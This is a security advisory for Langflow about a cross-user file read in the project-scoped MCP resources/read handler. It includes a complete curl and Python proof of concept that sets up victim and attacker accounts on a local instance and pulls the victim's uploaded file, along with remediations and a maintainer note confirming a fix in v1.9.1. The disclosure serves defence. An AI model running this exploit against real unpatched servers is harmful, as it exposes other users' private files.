GHSA-4hmc-cfm3-w43c: Path Traversal

Summary Langflow's project-scoped MCP transport authenticates the caller for the projectid in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details Verified against local checkout:

- Repository: langflow-ai/langflow - Verified on release tag: v1.8.3 - Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

1. src/backend/base/langflow/api/v1/mcpprojects.py:147-193 verifyprojectauthconditional() authenticates the caller and checks access only to the projectid in the MCP transport URL.

2. src/backend/base/langflow/api/v1/mcpprojects.py:1238-1241 The project-scoped MCP server registers readresource() and forwards the attacker-controlled URI directly to handlereadresource(uri=uri).

3. src/backend/base/langflow/api/v1/mcputils.py:163-182 handlereadresource() parses the last two URI path segments as flowid and filename, then directly calls:

python storageservice.getfile(flowid=flowid, filename=filename)

No check ties the supplied flowid back to the authenticated user or the current project.

4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

- src/backend/base/langflow/api/v1/mcputils.py:102-121 handlelistresources(projectid=None) lists files for all flows. - src/backend/base/langflow/api/v1/mcputils.py:333-380 handlelisttools(projectid=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC Preconditions:

- Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a source .env.verify set +a

export LANGFLOWCONFIGDIR="$PWD/.langflow-verify"

uv run python - <<'PY' from langflow.main import setupapp import uvicorn

app = setupapp(backendonly=True) uvicorn.run(app, host="127.0.0.1", port=7860, loglevel="debug") PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

- the normal file download route is blocked for the attacker (404) - the same file is readable through the attacker's own project-scoped MCP connection

bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail

export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIMUSER="victim.$RANDOM@example.com" export ATTACKERUSER="attacker.$RANDOM@example.com"

curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIMUSER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKERUSER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIMTOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIMUSER" \ --data-urlencode "password=$PASS" | jq -r '.accesstoken' )

export ATTACKERTOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKERUSER" \ --data-urlencode "password=$PASS" | jq -r '.accesstoken' )

export VICTIMPROJECTID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' )

export ATTACKERPROJECTID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' )

export VICTIMFLOWID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folderid\":\"$VICTIMPROJECTID\"}" \ | jq -r '.id' )

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOADJSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIMFLOWID" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -F "file=@/tmp/secret.txt" )

export VICTIMFILE=$( printf '%s' "$UPLOADJSON" | jq -r '.filepath | split("/") | last' )

export VICTIMURI="$BASE/api/v1/files/download/$VICTIMFLOWID/$VICTIMFILE"

export ATTACKERAPIKEY=$( curl -sS -X POST "$BASE/api/v1/apikey/" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.apikey' )

export DIRECTSTATUS=$( curl -sS -o /dev/null -w '%{httpcode}' \ -H "Authorization: Bearer $ATTACKERTOKEN" \ "$VICTIMURI" )

export MCPREADOUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os

import httpx from mcp import ClientSession from mcp.client.streamablehttp import streamablehttpclient

base = os.environ["BASE"] projectid = os.environ["ATTACKERPROJECTID"] apikey = os.environ["ATTACKERAPIKEY"] victimuri = os.environ["VICTIMURI"] url = f"{base}/api/v1/mcp/project/{projectid}/streamable"

async def main(): async with httpx.AsyncClient(headers={"x-api-key": apikey}, timeout=30.0) as client: async with streamablehttpclient(url, httpclient=client) as (readstream, writestream, ): async with ClientSession(readstream, writestream) as session: await session.initialize() result = await session.readresource(victimuri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main()) PY )

echo "Direct /files/download as attacker -> $DIRECTSTATUS" echo "Project-scoped MCP resources/read -> $MCPREADOUTPUT"

Expected output:

text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts - Unauthorized access to sensitive business data stored in flow namespaces - Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Suggested Remediations 1. Authorize resources/read against the authenticated context before calling storage. Resolve flowid to a database object and require both: flow.userid == currentuser.id and, for project-scoped transports, flow.folderid == currentprojectid.

2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

3. Scope global MCP enumeration helpers to the authenticated user. handlelistresources() and handlelisttools() should not query all flows when projectid=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update — 2026-09-22)

This report is accurate. The vulnerable code path described above (missing ownership check in handlereadresource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 — confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1 release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR #12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)". - Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032 - Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix: - handlereadresource() now requires an authenticated user context and resolves the namespace segment of the URI to a Flow row scoped to Flow.userid == currentuser.id, additionally filtering on Flow.folderid == projectid for project-scoped MCP servers (src/backend/base/langflow/api/v1/mcputils.py). - Rejects filenames containing .., /, or \ as defense-in-depth against path traversal, and applies the same containment check to the storage layer's getfile/getfilestream/deletefile/getfilesize (local.py/s3.py, both in langflow and lfx). - handlelistresources() / handlelisttools() are now scoped to currentuser.id on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5 (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (src/backend/tests/unit/api/v1/testmcputils.py, 21/21 passing) includes testhandlereadresourcedeniesotherusersflow, which reproduces this report's exact cross-user scenario and asserts it now raises ValueError("... access denied").